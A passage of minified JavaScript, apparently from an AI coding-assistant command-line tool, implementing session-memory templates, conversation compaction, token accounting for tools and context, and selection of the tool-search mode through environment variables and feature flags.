q=K>iJK,Y=Object.entries(A).filter(([w,H])=>H>WN1).sort(([,w],[,H])=>H-w).map(([w,H])=>`- "${w}" is ~${H} tokens (limit: ${WN1})`);if(Y.length===0&&!q)return"";let z=[];if(q)z.push(` CRITICAL: The session memory file is currently ~${K} tokens, which exceeds the maximum of ${iJK} tokens. You MUST condense the file to fit within this budget. Aggressively shorten oversized sections by removing less important details, merging related items, and summarizing older entries. Prioritize keeping "Current State" and "Errors & Corrections" accurate and detailed.`);if(Y.length>0)z.push(` ${q?"Oversized sections to condense":"IMPORTANT: The following sections exceed the per-section limit and MUST be condensed"}: ${Y.join(` `)}`);return z.join("")}function MR2(A,K){let q=A;for(let[Y,z]of Object.entries(K))q=q.replace(new RegExp(`\\{\\{${Y}\\}\\}`,"g"),z);return q}async function oJK(A){let K=await Ou6();return A.trim()===K.trim()}async function aJK(A,K){let q=await WR2(),Y=DR2(A),z=d2(A),w=jR2(Y,z);return MR2(q,{currentNotes:A,notesPath:K})+w}function sJK(A){let K=A.split(` `),q=WN1*4,Y=[],z=[],w="",H=!1;for(let O of K)if(O.startsWith("# ")){let X=nJK(w,z,q);Y.push(...X.lines),H=H||X.wasTruncated,w=O,z=[]}else z.push(O);let J=nJK(w,z,q);return Y.push(...J.lines),H=H||J.wasTruncated,{truncatedContent:Y.join(` `),wasTruncated:H}}function nJK(A,K,q){if(!A)return{lines:K,wasTruncated:!1};if(K.join(` `).length<=q)return{lines:[A,...K],wasTruncated:!1};let z=0,w=[A];for(let H of K){if(z+H.length+1>q)break;w.push(H),z+=H.length+1}return w.push(` [... section truncated for length ...]`),{lines:w,wasTruncated:!0}}var WN1=2000,iJK=12000,GR2=` # Session Title _A short and distinctive 5-10 word descriptive title for the session. Super info dense, no filler_ # Current State _What is actively being worked on right now? Pending tasks not yet completed. Immediate next steps._ # Task specification _What did the user ask to build? Any design decisions or other explanatory context_ # Files and Functions _What are the important files? In short, what do they contain and why are they relevant?_ # Workflow _What bash commands are usually run and in what order? How to interpret their output if not obvious?_ # Errors & Corrections _Errors encountered and how they were fixed. What did the user correct? What approaches failed and should not be tried again?_ # Codebase and System Documentation _What are the important system components? How do they work/fit together?_ # Learnings _What has worked well? What has not? What to avoid? Do not duplicate items from other sections_ # Key results _If the user asked a specific output such as an answer to a question, a table, or other document, repeat the exact result here_ # Worklog _Step by step, what was attempted, done? Very terse summary for each step_ `;var Xu6=k(()=>{e6();l6();C1();dT()});function PR2(A){_u6={..._u6,...A}}function VR2(){return{..._u6}}async function fR2(){if(tJK)return;tJK=!0;let A=await Jm("tengu_sm_compact_config",{}),K={minTokens:A.minTokens&&A.minTokens>0?A.minTokens:DN1.minTokens,minTextBlockMessages:A.minTextBlockMessages&&A.minTextBlockMessages>0?A.minTextBlockMessages:DN1.minTextBlockMessages,maxTokens:A.maxTokens&&A.maxTokens>0?A.maxTokens:DN1.maxTokens};PR2(K)}function eJK(A){if(A.type==="assistant")return A.message.content.some((q)=>q.type==="text");if(A.type==="user"){let K=A.message.content;if(typeof K==="string")return K.length>0;if(Array.isArray(K))return K.some((q)=>q.type==="text")}return!1}function NR2(A){if(A.type!=="user")return[];let K=A.message.content;if(!Array.isArray(K))return[];let q=[];for(let Y of K)if(Y.type==="tool_result")q.push(Y.tool_use_id);return q}function TR2(A,K){if(A.type!=="assistant")return!1;let q=A.message.content;if(!Array.isArray(q))return!1;return q.some((Y)=>Y.type==="tool_use"&&K.has(Y.id))}function $u6(A,K){if(K<=0||K>=A.length)return K;let q=K,Y=[];for(let w=K;w<A.length;w++)Y.push(...NR2(A[w]));if(Y.length>0){let w=new Set;for(let J=q;J<A.length;J++){let O=A[J];if(O.type==="assistant"&&Array.isArray(O.message.content)){for(let X of O.message.content)if(X.type==="tool_use")w.add(X.id)}}let H=new Set(Y.filter((J)=>!w.has(J)));for(let J=q-1;J>=0&&H.size>0;J--){let O=A[J];if(TR2(O,H)){if(q=J,O.type==="assistant"&&Array.isArray(O.message.content)){for(let X of O.message.content)if(X.type==="tool_use"&&H.has(X.id))H.delete(X.id)}}}}let z=new Set;for(let w=q;w<A.length;w++){let H=A[w];if(H.type==="assistant"&&H.message.id)z.add(H.message.id)}for(let w=q-1;w>=0;w--){let H=A[w];if(H.type==="assistant"&&H.message.id&&z.has(H.message.id))q=w}return q}function vR2(A,K){if(A.length===0)return 0;let q=VR2(),Y=K>=0?K+1:A.length,z=0,w=0;for(let H=Y;H<A.length;H++){let J=A[H];if(z+=ZpA([J]),eJK(J))w++}if(z>=q.maxTokens)return $u6(A,Y);if(z>=q.minTokens&&w>=q.minTextBlockMessages)return $u6(A,Y);for(let H=Y-1;H>=0;H--){let J=A[H],O=ZpA([J]);if(z+=O,eJK(J))w++;if(Y=H,z>=q.maxTokens)break;if(z>=q.minTokens&&w>=q.minTextBlockMessages)break}return $u6(A,Y)}function jN1(){if(P1(process.env.ENABLE_CLAUDE_CODE_SM_COMPACT))return!0;if(P1(process.env.DISABLE_CLAUDE_CODE_SM_COMPACT))return!1;let A=G4("tengu_session_memory",!1),K=G4("tengu_sm_compact",!1);return A&&K}function ER2(A,K,q,Y,z,w){let H=bM(A),J=GN1("auto",H??0,A[A.length-1]?.uuid),{truncatedContent:O,wasTruncated:X}=sJK(K),$=GO1(O,!0,z,!0);if(X){let W=M9A();$+=` Some session memory sections were truncated for length. The full session memory can be viewed at: ${W}`}let _=[t1({content:$,isCompactSummary:!0,isVisibleInTranscriptOnly:!0})],G=Ju6(w);return{boundaryMarker:J,summaryMessages:_,attachments:G?[G]:[],hookResults:Y,messagesToKeep:q,preCompactTokenCount:H,postCompactTokenCount:ZpA(_)}}async function MN1(A,K,q){if(!jN1())return null;await fR2(),await BJK();let Y=bJK(),z=mJK();if(!z)return n("tengu_sm_compact_no_session_memory",{}),null;if(await oJK(z))return n("tengu_sm_compact_empty_template",{}),null;try{let w;if(Y){if(w=A.findIndex((Z)=>Z.uuid===Y),w===-1)return n("tengu_sm_compact_summarized_id_not_found",{}),null}else w=A.length-1,n("tengu_sm_compact_resumed_session",{});let H=vR2(A,w),J=A.slice(H).filter((Z)=>!jL(Z)),O=await fj("compact",void 0,void 0,J3()),X=T_(d1()),$=ER2(A,z,J,O,X,K),_=Bt($),G=ZpA(_);if(q!==void 0&&G>=q)return n("tengu_sm_compact_threshold_exceeded",{postCompactTokenCount:G,autoCompactThreshold:q}),null;return{...$,postCompactTokenCount:G}}catch(w){return n("tengu_sm_compact_error",{}),null}}var DN1,_u6,tJK=!1;var PN1=k(()=>{St();oZ();$8();GpA();Xz();Xu6();B7();B7();l1();G9A();Ye();UK();q6();K7();Z1();l6();DN1={minTokens:1e4,minTextBlockMessages:5,maxTokens:40000},_u6={...DN1}});function GPA(){let A=J3(),K=Math.min(Wu6(A),kR2);return aW(A,nP())-K}function WV1(){let A=GPA(),K=A-Gu6,q=process.env.CLAUDE_AUTOCOMPACT_PCT_OVERRIDE;if(q){let Y=parseFloat(q);if(!isNaN(Y)&&Y>0&&Y<=100){let z=Math.floor(A*(Y/100));return Math.min(z,K)}}return K}function md(A){let K=WV1(),q=dd()?K:GPA(),Y=Math.max(0,Math.round((q-A)/q*100)),z=q-CR2,w=q-LR2,H=A>=z,J=A>=w,O=dd()&&A>=K,X=J3(),_=aW(X,nP())-Zu6,G=process.env.CLAUDE_CODE_BLOCKING_LIMIT_OVERRIDE,Z=G?parseInt(G,10):NaN,W=!isNaN(Z)&&Z>0?Z:_,D=A>=W;return{percentLeft:Y,isAboveWarningThreshold:H,isAboveErrorThreshold:J,isAboveAutoCompactThreshold:O,isAtBlockingLimit:D}}function dd(){if(P1(process.env.DISABLE_COMPACT))return!1;if(P1(process.env.DISABLE_AUTO_COMPACT))return!1;return M1().autoCompactEnabled}async function RR2(A,K){if(K==="session_memory"||K==="compact")return!1;if(!dd())return!1;let q=WI(A),{isAboveAutoCompactThreshold:Y}=md(q);return Y}async function mHK(A,K,q,Y){if(P1(process.env.DISABLE_COMPACT))return{wasCompacted:!1};if(!await RR2(A,Y))return{wasCompacted:!1};let w=await MN1(A,K.agentId,WV1());if(w)return j9A(void 0),{wasCompacted:!0,compactionResult:w};try{let H=await EMA(A,K,q,!0,void 0,!0);return j9A(void 0),{wasCompacted:!0,compactionResult:H}}catch(H){if(!BTA(H,N3A))KA(H instanceof Error?H:Error(String(H)));return{wasCompacted:!1}}}var kR2=20000,Gu6=13000,CR2=20000,LR2=20000,Zu6=3000;var Sd=k(()=>{oZ();St();C1();i6();iw();K7();sz();iP();q6();l6();PN1();GpA()});function yR2(){WpA.forEach((A)=>A())}function WPA(){DpA=!0,yR2()}function AOK(){DpA=!1}function KOK(){DpA=!1,WpA=[]}function Du6(){let[A,K]=VN1.useState(DpA);return VN1.useEffect(()=>{let q=()=>{K(DpA)};return WpA.push(q),()=>{WpA=WpA.filter((Y)=>Y!==q)}},[]),A}var VN1,DpA=!1,WpA;var fN1=k(()=>{VN1=o($A(),1),WpA=[]});function IR2(A){return typeof A==="string"&&(A===lW6||A.includes(OX1))}function gHK(){DPA.clear(),NN1.clear(),TN1.clear(),KOK()}function Mu6(A){DPA.clear(),NN1.clear(),TN1.clear();let K=kv(A);for(let Y of K)if(ju6(Y)){let{compactedToolIds:z,clearedAttachmentUUIDs:w}=Y.microcompactMetadata;for(let H of z??[])DPA.add(H);for(let H of w??[])NN1.add(H)}let q=K.findLastIndex(ju6);if(q!==-1){if(!K.slice(q+1).some((z)=>z.type==="assistant"))WPA()}}function YOK(A){if(!A.content)return 0;if(typeof A.content==="string")return d2(A.content);return A.content.reduce((K,q)=>{if(q.type==="text")return K+d2(q.text);else if(q.type==="image")return K+qOK;return K},0)}function uR2(A,K){let q=TN1.get(A);if(q===void 0)q=YOK(K),TN1.set(A,q);return q}function ZpA(A){let K=0;for(let q of A){if(q.type!=="user"&&q.type!=="assistant")continue;if(!Array.isArray(q.message.content))continue;for(let Y of q.message.content)if(Y.type==="text")K+=d2(Y.text);else if(Y.type==="tool_result")K+=YOK(Y);else if(Y.type==="image")K+=qOK;else K+=d2(UA(Y))}return Math.ceil(K*1.3333333333333333)}async function gd(A,K,q){if(AOK(),P1(process.env.DISABLE_MICROCOMPACT)||G4("tengu_cache_plum_violet",!1))return{messages:A};P1(process.env.USE_API_CONTEXT_MANAGEMENT);let Y=K!==void 0,z=Y?K:hR2,w=[],H=new Map;for(let W of A)if((W.type==="user"||W.type==="assistant")&&Array.isArray(W.message.content)){for(let D of W.message.content)if(D.type==="tool_use"&&xR2.has(D.name)){if(!DPA.has(D.id))w.push(D.id)}else if(D.type==="tool_result"&&w.includes(D.tool_use_id)){let j=uR2(D.tool_use_id,D);H.set(D.tool_use_id,j)}}let J=w.slice(-bR2),O=Array.from(H.values()).reduce((W,D)=>W+D,0),X=0,$=new Set;for(let W of w){if(J.includes(W))continue;if(O-X>z)$.add(W),X+=H.get(W)||0}if(!Y){let W=bM(A);if(!md(W).isAboveWarningThreshold||X<SR2)$.clear(),X=0}let _=(W)=>{return DPA.has(W)||$.has(W)},G=new Set;$.size>0;let Z=[];for(let W of A){if(W.type==="attachment"&&NN1.has(W.uuid))continue;if(W.type!=="user"&&W.type!=="assistant"){Z.push(W);continue}if(!Array.isArray(W.message.content)){Z.push(W);continue}if(W.type==="user"){let D=[],j=!1;for(let M of W.message.content)if(M.type==="tool_result"&&_(M.tool_use_id)&&M.content&&!IR2(M.content)){j=!0;let P=lW6,f=await jqA(M.content,M.tool_use_id);if(!MqA(f))P=`${OX1}Tool result saved to: ${f.filepath} Use ${eq} to view${cW6}`;D.push({...M,content:P})}else D.push(M);if(D.length>0){let M=j?void 0:W.toolUseResult;Z.push({...W,message:{...W.message,content:D},toolUseResult:M})}}else{let D=[];for(let j of W.message.content)D.push(j);Z.push({...W,message:{...W.message,content:D}})}}if(q&&$.size>0){let W=new Map,D=new Set;for(let j of A)if((j.type==="user"||j.type==="assistant")&&Array.isArray(j.message.content)){for(let M of j.message.content)if(M.type==="tool_use"&&M.name===eq){let P=M.input?.file_path;if(typeof P==="string")if($.has(M.id))W.set(P,M.id);else D.add(P)}}for(let[j]of W)if(!D.has(j))q.readFileState.delete(j)}for(let W of $)DPA.add(W);if($.size>0){n("tengu_microcompact",{toolsCompacted:$.size,totalUncompactedTokens:O,tokensAfterCompaction:O-X,tokensSaved:X,triggerType:Y?"manual":"auto"}),WPA();let W=zOK(Y?"manual":"auto",O,X,Array.from($),Array.from(G));return r57(q?.options.querySource??"repl_main_thread"),{messages:Z,compactionInfo:{boundaryMessage:W}}}return{messages:Z}}var SR2=20000,hR2=40000,bR2=3,qOK=2000,xR2,DPA,NN1,TN1;var G9A=k(()=>{dT();l1();l6();uxA();B7();$8();$8();oZ();Sd();fN1();cO();rE();d6A();jV();Pa();b1();xR2=new Set([eq,G7,Fz,hH,oE,wO,m5,Qz]),DPA=new Set,NN1=new Set,TN1=new Map});async function jpA(A,K){try{let q=await IxA(A,K);if(q!==null)return q;h(`countTokensWithFallback: API returned null, trying haiku fallback (${K.length} tools)`)}catch(q){h(`countTokensWithFallback: API failed: ${q instanceof Error?q.message:String(q)}`),KA(q instanceof Error?q:Error(String(q)))}try{let q=await T57(A,K);if(q===null)h(`countTokensWithFallback: haiku fallback also returned null (${K.length} tools)`);return q}catch(q){return h(`countTokensWithFallback: haiku fallback failed: ${q instanceof Error?q.message:String(q)}`),KA(q instanceof Error?q:Error(String(q))),null}}async function cd(A,K,q,Y){let z=await Promise.all(A.map((H)=>Rf1(H,{getToolPermissionContext:K,tools:A,agents:q?.activeAgents??[],model:Y}))),w=await jpA([],z);if(w===null||w===0){let H=A.map((J)=>J.name).join(", ");h(`countToolDefinitionTokens returned ${w} for ${A.length} tools: ${H.slice(0,100)}${H.length>100?"...":""}`)}return w??0}async function BR2(A){let K=await e0(),q=[...A,...Object.values(K)];if(q.length<1)return 0;return(await Promise.all(q.filter((z)=>z.length>0).map((z)=>jpA([{role:"user",content:z}],[])))).reduce((z,w)=>z+(w||0),0)}async function mR2(){let A=t0(),K=[],q=0;if(A.length<1)return{memoryFileDetails:[],claudeMdTokens:0};let Y=await Promise.all(A.map(async(z)=>{let w=await jpA([{role:"user",content:z.content}],[]);return{file:z,tokens:w||0}}));for(let{file:z,tokens:w}of Y)q+=w,K.push({path:z.path,type:z.type,tokens:w});return{claudeMdTokens:q,memoryFileDetails:K}}async function gR2(A,K,q,Y,z){let w=A.filter((D)=>!D.isMcp);if(w.length<1)return{builtInToolTokens:0,deferredBuiltinDetails:[],deferredBuiltinTokens:0};let{isToolSearchEnabled:H}=await Promise.resolve().then(() => (vC(),Nu6)),{isDeferredTool:J}=await Promise.resolve().then(() => (ao(),x57)),O=await H(Y??"",A,K,q?.activeAgents??[],"analyzeBuiltIn"),X=w.filter((D)=>!J(D)),$=w.filter((D)=>J(D)),_=X.length>0?await cd(X,K,q,Y):0,G=[],Z=0,W=0;if($.length>0&&O){let D=new Set;if(z){let M=new Set($.map((P)=>P.name));for(let P of z)if(P.type==="assistant"){for(let f of P.message.content)if("type"in f&&f.type==="tool_use"&&"name"in f&&typeof f.name==="string"&&M.has(f.name))D.add(f.name)}}let j=await Promise.all($.map((M)=>cd([M],K,q,Y)));for(let[M,P]of $.entries()){let f=Math.max(0,(j[M]||0)-vN1),N=D.has(P.name);if(G.push({name:P.name,tokens:f,isLoaded:N}),W+=f,N)Z+=f}}else if($.length>0){let D=await cd($,K,q,Y);return{builtInToolTokens:_+D,deferredBuiltinDetails:[],deferredBuiltinTokens:0}}return{builtInToolTokens:_+Z,deferredBuiltinDetails:G,deferredBuiltinTokens:W-Z}}function wOK(A){return A.find((K)=>K.name===FG)}async function FR2(A,K,q){let Y=await Dj7(x1()),z=wOK(A);if(!z)return{slashCommandTokens:0,commandInfo:{totalCommands:0,includedCommands:0}};return{slashCommandTokens:await cd([z],K,q),commandInfo:{totalCommands:Y.totalCommands,includedCommands:Y.includedCommands}}}async function QR2(A,K,q){try{let Y=await jj7(x1()),z=wOK(A);if(!z)return{skillTokens:0,skillInfo:{totalSkills:0,includedSkills:0,skillFrontmatter:[]}};let w=await cd([z],K,q),H=Y.map((J)=>({name:J.userFacingName(),source:J.type==="prompt"?J.source:"plugin",tokens:eWA(J)}));return{skillTokens:w,skillInfo:{totalSkills:Y.length,includedSkills:Y.length,skillFrontmatter:H}}}catch(Y){return KA(Y instanceof Error?Y:Error("Failed to count skill tokens")),{skillTokens:0,skillInfo:{totalSkills:0,includedSkills:0,skillFrontmatter:[]}}}}async function pUA(A,K,q,Y,z){let w=A.filter((D)=>D.isMcp),H=[],O=(await Promise.all(w.map((D)=>cd([D],K,q,Y)))).map((D)=>Math.max(0,(D||0)-vN1)),X=O.reduce((D,j)=>D+j,0),{isToolSearchEnabled:$}=await Promise.resolve().then(() => (vC(),Nu6)),_=await $(Y,A,K,q?.activeAgents??[],"analyzeMcp"),G=new Set;if(_&&z){let D=new Set(w.map((j)=>j.name));for(let j of z)if(j.type==="assistant"){for(let M of j.message.content)if("type"in M&&M.type==="tool_use"&&"name"in M&&typeof M.name==="string"&&D.has(M.name))G.add(M.name)}}for(let[D,j]of w.entries())H.push({name:j.name,serverName:j.name.split("__")[1]||"unknown",tokens:O[D],isLoaded:G.has(j.name)});let Z=0,W=0;for(let D of H)if(D.isLoaded)Z+=D.tokens;else if(_)W+=D.tokens;return{mcpToolTokens:_?Z:X,mcpToolDetails:H,deferredToolTokens:W,loadedMcpToolNames:G}}async function twK(A,K,q){let Y=A.filter((z)=>!z.isMcp);if(Y.length===0)return 0;return cd(Y,K,q)}async function UR2(A){let K=A.activeAgents.filter((w)=>w.source!=="built-in"),q=[],Y=0,z=await Promise.all(K.map((w)=>jpA([{role:"user",content:[w.agentType,w.whenToUse].join(" ")}],[])));for(let[w,H]of K.entries()){let J=z[w]||0;Y+=J||0,q.push({agentType:H.agentType,source:H.source,tokens:J||0})}return{agentTokens:Y,agentDetails:q}}async function pR2(A){let K=await gd(A),q={totalTokens:0,toolCallTokens:0,toolResultTokens:0,attachmentTokens:0,assistantMessageTokens:0,userMessageTokens:0,toolCallsByType:new Map,toolResultsByType:new Map,attachmentsByType:new Map},Y=await jpA(q0(K.messages).map((z)=>{if(z.type==="assistant")return{role:"assistant",content:z.message.content};return z.message}),[]);return q.totalTokens=Y??0,q}async function fu6(A,K,q,Y,z,w,H,J,O){let X=sn({permissionMode:(await q()).mode,mainLoopModel:K}),$=aW(X,nP()),_=await sf(Y,X),G=kGA({mainThreadAgentDefinition:J,toolUseContext:H??{options:{}},customSystemPrompt:H?.options.customSystemPrompt,defaultSystemPrompt:_,appendSystemPrompt:H?.options.appendSystemPrompt}),[Z,{claudeMdTokens:W,memoryFileDetails:D},{builtInToolTokens:j,deferredBuiltinDetails:M,deferredBuiltinTokens:P},{mcpToolTokens:f,mcpToolDetails:N,deferredToolTokens:T},{agentTokens:C,agentDetails:R},{slashCommandTokens:x,commandInfo:y},B]=await Promise.all([BR2(G),mR2(),gR2(Y,q,z,X,A),pUA(Y,q,z,X,A),UR2(z),FR2(Y,q,z),pR2(A)]),F=(await QR2(Y,q,z)).skillInfo,Q=F.skillFrontmatter.reduce((xA,iA)=>xA+iA.tokens,0),u=B.totalTokens,d=dd(),r=d?GPA()-Gu6:void 0,c=[];if(Z>0)c.push({name:"System prompt",tokens:Z,color:"promptBorder"});let YA=j-Q;if(YA>0)c.push({name:"System tools",tokens:YA,color:"inactive"});if(f>0)c.push({name:"MCP tools",tokens:f,color:"cyan_FOR_SUBAGENTS_ONLY"});if(T>0)c.push({name:"MCP tools (deferred)",tokens:T,color:"inactive",isDeferred:!0});if(P>0)c.push({name:"System tools (deferred)",tokens:P,color:"inactive",isDeferred:!0});if(C>0)c.push({name:"Custom agents",tokens:C,color:"permission"});if(W>0)c.push({name:"Memory files",tokens:W,color:"claude"});if(Q>0)c.push({name:"Skills",tokens:Q,color:"warning"});if(u!==null&&u>0)c.push({name:"Messages",tokens:u,color:"purple_FOR_SUBAGENTS_ONLY"});let e=c.reduce((xA,iA)=>xA+(iA.isDeferred?0:iA.tokens),0),qA=0;if(d&&r!==void 0)qA=$-r,c.push({name:Pu6,tokens:qA,color:"inactive"});else if(!d)qA=Zu6,c.push({name:Vu6,tokens:qA,color:"inactive"});let HA=Math.max(0,$-e-qA);c.push({name:"Free space",tokens:HA,color:"promptBorder"});let _A=e,a=dJ1(O??A),jA=(a?a.input_tokens+a.cache_creation_input_tokens+a.cache_read_input_tokens:null)??_A,MA=w&&w<80,hA=$>=1e6?MA?5:20:MA?5:10,yA=$>=1e6?10:MA?5:10,AA=hA*yA,GA=c.filter((xA)=>!xA.isDeferred).map((xA)=>({...xA,squares:xA.name==="Free space"?Math.round(xA.tokens/$*AA):Math.max(1,Math.round(xA.tokens/$*AA)),percentageOfTotal:Math.round(xA.tokens/$*100)}));function OA(xA){let iA=[],lA=xA.tokens/$*AA,v1=Math.floor(lA),I1=lA-v1;for(let Q1=0;Q1<xA.squares;Q1++){let B1=1;if(Q1===v1&&I1>0)B1=I1;iA.push({color:xA.color,isFilled:!0,categoryName:xA.name,tokens:xA.tokens,percentage:xA.percentageOfTotal,squareFullness:B1})}return iA}let t=[],XA=GA.find((xA)=>xA.name===Pu6||xA.name===Vu6),VA=GA.filter((xA)=>xA.name!==Pu6&&xA.name!==Vu6&&xA.name!=="Free space");for(let xA of VA){let iA=OA(xA);for(let lA of iA)if(t.length<AA)t.push(lA)}let vA=XA?XA.squares:0,RA=c.find((xA)=>xA.name==="Free space"),fA=AA-vA;while(t.length<fA)t.push({color:"promptBorder",isFilled:!0,categoryName:"Free space",tokens:RA?.tokens||0,percentage:RA?Math.round(RA.tokens/$*100):0,squareFullness:1});if(XA){let xA=OA(XA);for(let iA of xA)if(t.length<AA)t.push(iA)}let LA=[];for(let xA=0;xA<yA;xA++)LA.push(t.slice(xA*hA,(xA+1)*hA));let SA;return{categories:c,totalTokens:jA,maxTokens:$,rawMaxTokens:$,percentage:Math.round(jA/$*100),gridRows:LA,model:X,memoryFiles:D,mcpTools:N,deferredBuiltinTools:M,agents:R,slashCommands:x>0?{totalCommands:y.totalCommands,includedCommands:y.includedCommands,tokens:x}:void 0,skills:Q>0?{totalSkills:F.totalSkills,includedSkills:F.includedSkills,tokens:Q,skillFrontmatter:F.skillFrontmatter}:void 0,autoCompactThreshold:r,isAutoCompactEnabled:d,messageBreakdown:SA,apiUsage:a}}var Pu6="Autocompact buffer",Vu6="Compact buffer",vN1=500;var dUA=k(()=>{iP();q6();YC();dT();oZ();of();AO1();gZ();G9A();$8();Ke();K7();zmA();y4();Sd();C1();Z1();ys();b1()});var Nu6={};_q(Nu6,{modelSupportsToolReference:()=>$OK,isToolSearchToolAvailable:()=>_OK,isToolSearchEnabledOptimistic:()=>iU,isToolSearchEnabled:()=>$pA,isToolReferenceBlock:()=>lU,getMcpMode:()=>lR2,getExternalMcpMode:()=>_9A,getAutoToolSearchCharThreshold:()=>XOK,extractDiscoveredToolNames:()=>ku6});function Eu6(A){if(!A.startsWith("auto:"))return null;let K=A.slice(5),q=parseInt(K,10);if(isNaN(q))return h(`Invalid ENABLE_TOOL_SEARCH value "${A}": expected auto:N where N is a number.`),null;return Math.max(0,Math.min(100,q))}function JOK(A){if(!A)return!1;return A==="auto"||A.startsWith("auto:")}function vu6(){let A=process.env.ENABLE_TOOL_SEARCH;if(!A)return Tu6;if(A==="auto")return Tu6;let K=Eu6(A);if(K!==null)return K;return Tu6}function OOK(A){let K=W91(A),q=aW(A,K),Y=vu6()/100;return Math.floor(q*Y)}function XOK(A){return Math.floor(OOK(A)*dR2)}function lR2(){let A=process.env.ENABLE_TOOL_SEARCH,K=A?Eu6(A):null;if(K===0)return"tst";if(K===100){if(P1(process.env.ENABLE_MCP_CLI))return"mcp-cli";return"standard"}if(JOK(A))return"tst-auto";if(P1(A))return"tst";if(P1(process.env.ENABLE_MCP_CLI))return"mcp-cli";if(J2(process.env.ENABLE_MCP_CLI))return"standard";if(J2(process.env.ENABLE_TOOL_SEARCH))return"standard";return"tst-auto"}function _9A(){let A=process.env.ENABLE_TOOL_SEARCH,K=A?Eu6(A):null;if(K===0)return"tst";if(K===100);else if(JOK(A))return"tst-auto";if(P1(A))return"tst";if(P1(process.env.ENABLE_EXPERIMENTAL_MCP_CLI))return"mcp-cli";if(K===100)return"standard";if(J2(A))return"standard";if(J2(process.env.ENABLE_EXPERIMENTAL_MCP_CLI))return"standard";if(!K$())try{if(G4("tengu_mcp_tool_search",!0)===!1)return"standard"}catch{}return"tst-auto"}function nR2(){try{let A=G4("tengu_tool_search_unsupported_models",null);if(A&&Array.isArray(A)&&A.length>0)return A}catch{}return iR2}function $OK(A){let K=A.toLowerCase(),q=nR2();for(let Y of q)if(K.includes(Y.toLowerCase()))return!1;return!0}function iU(){let A=_9A(),K=A==="tst"||A==="tst-auto";if(!HOK)HOK=!0,h(`[ToolSearch:optimistic] mode=${A}, ENABLE_TOOL_SEARCH=${process.env.ENABLE_TOOL_SEARCH}, result=${K}`);switch(A){case"tst":case"tst-auto":return!0;case"mcp-cli":case"standard":return!1}}function _OK(A){return A.some((K)=>K.name===sZ)}async function rR2(A,K,q){let Y=A.filter((w)=>xM(w));if(Y.length===0)return 0;return(await Promise.all(Y.map(async(w)=>{let H=await w.prompt({getToolPermissionContext:K,tools:A,agents:q}),J=w.inputJSONSchema?UA(w.inputJSONSchema):w.inputSchema?UA(ar(w.inputSchema)):"";return w.name.length+H.length+J.length}))).reduce((w,H)=>w+H,0)}async function $pA(A,K,q,Y,z){let w=K.filter((O)=>O.isMcp).length;function H(O,X,$,_){n("tengu_tool_search_mode_decision",{enabled:O,mode:X,reason:$,checkedModel:A,mcpToolCount:w,userType:"external",..._})}if(!$OK(A))return h(`Tool search disabled for model '${A}': model does not support tool_reference blocks. This feature is only available on Claude Sonnet 4+, Opus 4+, and newer models.`),H(!1,"standard","model_unsupported"),!1;if(!_OK(K))return h("Tool search disabled: ToolSearchTool is not available (may have been disallowed via disallowedTools)."),H(!1,"standard","mcp_search_unavailable"),!1;let J=_9A();switch(J){case"tst":return H(!0,J,"tst_enabled"),!0;case"tst-auto":{let{enabled:O,debugDescription:X,metrics:$}=await sR2(K,q,Y,A);if(O)return h(`Auto tool search enabled: ${X}`+(z?` [source: ${z}]`:"")),H(!0,J,"auto_above_threshold",$),!0;if(K.some((_)=>xM(_))&&!K$())try{let _=G4("tengu_tst_kx7",!1);return h(`Tool search ${_?"enabled":"disabled"} via experiment (tengu_tst_kx7): below threshold, deferred tools present`+(z?` [source: ${z}]`:"")),H(_,J,"experiment_enable_tst"),_}catch(_){h(`tengu_tst_kx7: GrowthBook not ready, skipping: ${_}`)}return h(`Auto tool search disabled: ${X}`+(z?` [source: ${z}]`:"")),H(!1,J,"auto_below_threshold",$),!1}case"mcp-cli":return H(!1,J,"mcp_cli_mode"),!1;case"standard":return H(!1,J,"standard_mode"),!1}}function lU(A){return typeof A==="object"&&A!==null&&"type"in A&&A.type==="tool_reference"}function oR2(A){return lU(A)&&"tool_name"in A&&typeof A.tool_name==="string"}function aR2(A){return typeof A==="object"&&A!==null&&"type"in A&&A.type==="tool_result"&&"content"in A&&Array.isArray(A.content)}function ku6(A){let K=new Set;for(let q of A){if(q.type!=="user")continue;let Y=q.message?.content;if(!Array.isArray(Y))continue;for(let z of Y)if(aR2(z)){for(let w of z.content)if(oR2(w))K.add(w.tool_name)}}if(K.size>0)h(`Dynamic tool loading: found ${K.size} discovered tools in message history`);return K}async function sR2(A,K,q,Y){let z=await cR2(A,K,q,Y);if(z!==null){let J=OOK(Y);return{enabled:z>=J,debugDescription:`${z} tokens (threshold: ${J}, ${vu6()}% of context)`,metrics:{deferredToolTokens:z,threshold:J}}}let w=await rR2(A,K,q),H=XOK(Y);return{enabled:w>=H,debugDescription:`${w} chars (threshold: ${H}, ${vu6()}% of context) (char fallback)`,metrics:{deferredToolDescriptionChars:w,charThreshold:H}}}var Tu6=10,dR2=2.5,cR2,iR2,HOK=!1;var vC=k(()=>{B7();BQ();l1();p7();l6();b1();ESA();dUA();Z1();ao();iP();ok();cR2=z6(async(A,K,q,Y)=>{let z=A.filter((w)=>xM(w));if(z.length===0)return 0;try{let w=await cd(z,K,{activeAgents:q,allAgents:q},Y);if(w===0)return null;return Math.max(0,w-vN1)}catch{return null}},(A)=>A.filter((K)=>xM(K)).map((K)=>K.name).join(","));iR2=["haiku"]});function FqA(){return parseInt(process.env.MCP_TOOL_TIMEOUT||"",10)||tR2}function eR2(){if(P1(process.env.ENABLE_TOOL_SEARCH)&&P1(process.env.ENABLE_EXPERIMENTAL_MCP_CLI)&&!GOK)GOK=!0,console.warn(O1.yellow(`Warning: Both ENABLE_TOOL_SEARCH and ENABLE_EXPERIMENTAL_MCP_CLI are set to true. These are mutually exclusive. Using Tool Search mode.`))}function sH(){return eR2(),_9A()==="mcp-cli"}function Je(){return sH()&&!J2(process.env.ENABLE_MCP_CLI_ENDPOINT)}function r3A(A){let K=A.match(/^mcp-cli\s+(call|read)\s+([a-zA-Z0-9_-]+)\/([a-zA-Z0-9_-]+)(?:\s+([\s\S]+))?$/);if(!K)return null;let[,q,Y,z,w=""]=K;if(!q||!Y||!z)return null;return{command:q,server:Y,tool:z,toolName:z,args:w,fullCommand:A}}function ZOK(A){let K=A_(A);if(!K||!K.toolName)return null;return`${K.serverName}/${K.toolName}`}var tR2=1e8,GOK=!1;var IG=k(()=>{l6();tN();vC();u5()});function MpA(){let A=NnA.validate(process.env.BASH_MAX_OUTPUT_LENGTH);if(A.status==="capped")h(`BASH_MAX_OUTPUT_LENGTH ${A.message}`);return A.effective}function EN1(){return lY1()}function kN1(){return Gu4()}function 